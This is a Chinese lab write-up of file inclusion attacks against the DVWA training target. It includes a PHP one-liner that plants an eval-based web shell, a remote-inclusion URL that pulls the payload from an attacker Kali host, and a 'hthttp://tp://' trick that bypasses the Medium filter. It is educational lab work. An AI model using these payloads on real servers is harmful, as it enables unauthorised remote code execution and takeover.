DVWA靶场 file inclusion实例复现
- 预备知识
文件包含(file inclusion)是指程序开发人员把一些常用且可重复使用的函数写到单个文件中,当使用某些函数时直接调用该文件不需要重新编写的过程就是文件包含。
文件包含漏洞的产生原因是程序开发人员对于相关函数调用过程中对于允许的用户web应用程序的输入没有加以限制,用户对这个变量输入可控而且服务器也没有对输入做合理的校验规则或者是校验被绕过导致的文件包含漏洞。
本次实验环境是基于服务器开启allow_url_include选项,因为开启allow_url_include后控制端将允许通过include、require、include_once、require_once函数的使用,这意味着 PHP 脚本可以通过给定 URL 引入远程文件,类似于本地文件引入,即PHP 解析器会尝试下载并执行指定 URL 中的 PHP 脚本文件。这种功能的使用可能导致安全风险,因为攻击者可以利用它来执行未经授权的远程代码,这可能导致服务器受到攻击或者泄露敏感信息。类似的函数还有allow_url_include、allow_url_fopen函数等。
- 实验步骤
环境搭建
物理机中开启dvwa靶场(IP:127.0.0.1)
远程攻击主机kali (IP:192.168.32.128)
在php中的php.int文件将allow_url_include设置为On
开始攻击
Low等级
分析源码,可以知道在low等级中只是对每一个“page”属性进行了get操作的获取并且没有对它进行任何限制。依次点击上面的file.php可以看到在url中page对其进行了访问,即对于page后的参数是用户可控的。
验证漏洞存在性
随意构造一个url,可以看到web应用将其内容进行了读取并且还返回了一个当前的绝对路径。
进一步的我们在物理机中构造一个text.txt文件,并构造网页的url进行访问,可以看到web应用在得到准确的路径后还将其读取出来了内容。
通过上述的操作我们知道了在该环境中存在着文件包含漏洞,(ps:实际环境中我们则可以通过构造更多的url来查看是否包含文件包含漏洞,因为当前是为了快速验证而没有考虑到真实有效性)
根据漏洞的属性我们使用kali进行攻击
启动kali的web服务,启动apache2
启动成功后在kali的var/www/html中创立并存放1.txt文件,文件中包含一句话木马
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
在kali中去访问如下命令
http://192.168.32.1/DVWA/vulnerabilities/fi/?page=http://192.168.32.128/1.txt
(上述攻击中最好把防火墙进行关闭不然防火墙会将你写的一句话木马当成恶意的直接将其查杀)
完成注入后去物理机对应的文件下查看是否有shell.php文件创立,如果有则说明解析成功。
可以蚁剑进行连接
Medium等级
分析源码,相比于low等级中,medium等级利用str_replace函数将https://和http://替换成空,看起来是想将正常远程文件包含漏洞失效。
当然medium等级单纯针对于远程文件包含情况,对于访问本地的文件目录和资源并没有加以限制。
但是当我们在kali中继续使用low等级的攻击策略进行攻击,会出现访问失败
我们可以利用对于medium等级中出现的对于http://设置为空的思路,构造一个恶意的url,如下
http://92.168.32.1/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.32.128/1.txt
可以看到执行url成功,所以medium等级看起来并没有这么的有效。
High等级
分析源码,可知该等级中指定了白名单,只允许特定的文件执行。还增加了fnmatch()函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。
查找相关资料,可知
白名单中有file*
因此可以使用file协议(文件传输协议),访问本地计算机中的木马/文件
所以通过使用file协议来访问本地计算机中的文件等内容。
Impossible等级
源码中严格限制了page文件后面的内容除了file1.php、file2.php、file3.php文件外其他文件的访问都将视为ERROR File not found。所以直接规定了用户只能访问所示的三个文件而不能做出其他任何操作。